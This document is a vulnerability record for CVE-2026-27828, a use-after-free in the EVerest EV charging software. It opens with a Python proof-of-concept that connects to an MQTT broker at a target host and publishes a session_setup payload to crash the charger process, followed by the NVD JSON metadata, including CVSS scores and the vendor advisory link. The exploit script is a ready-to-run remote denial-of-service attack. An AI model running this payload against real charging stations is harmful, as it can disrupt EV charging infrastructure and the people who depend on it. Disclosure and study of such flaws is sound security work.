CVE-2026-27828

import paho.mqtt.client as mqtt import json import time # Target configuration BROKER = "evse-target.local" PORT = 1883 TOPIC = "iso15118/charger/cmd/session_setup" # Example topic structure def on_connect(client, userdata, flags, rc): if rc == 0: print("[+] Connected to MQTT Broker") else: print(f"[-] Connection failed with code {rc}") def exploit(): client = mqtt.Client() client.on_connect = on_connect try: client.connect(BROKER, PORT, 60) client.loop_start() time.sleep(1) # Wait for connection # Construct malicious payload # Triggering the UAF requires sending session_setup when v2g_ctx is freed. # This typically happens after ISO15118 init failure. payload = { "id": "poc_exploit", "evcc_id": "sensor/poc" } print(f"[*] Sending payload to {TOPIC}") client.publish(TOPIC, json.dumps(payload)) print("[+] Payload sent. Check if the process crashed.") client.loop_stop() client.disconnect() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-27828", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:34.357", "lastModified": "2026-03-31T14:47:13.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Prior to version 2026.02.0, ISO15118_chargerImpl::handle_session_setup uses v2g_ctx after it has been freed when ISO15118 initialization fails (e.g., no IPv6 link-local address). The EVSE process can be crashed remotely by an attacker with MQTT access who issues a session_setup command while v2g_ctx has been released. Version 2026.02.0 contains a patch."}, {"lang": "es", "value": "EVerest es una pila de software de carga de vehículos eléctricos. Antes de la versión 2026.02.0, ISO15118_chargerImpl::handle_session_setup utiliza v2g_ctx después de que ha sido liberado cuando la inicialización de ISO15118 falla (p. ej., no hay dirección IPv6 link-local). El proceso EVSE puede ser colapsado remotamente por un atacante con acceso MQTT que emite un comando session_setup mientras v2g_ctx ha sido liberado. La versión 2026.02.0 contiene un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.02.0", "matchCriteriaId": "EB167E67-6808-4F7B-9505-FFF0C02B288C"}]}]}], "references": [{"url": "https://github.com/EVerest/EVerest/security/advisories/GHSA-5g3v-qc79-qqwr", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}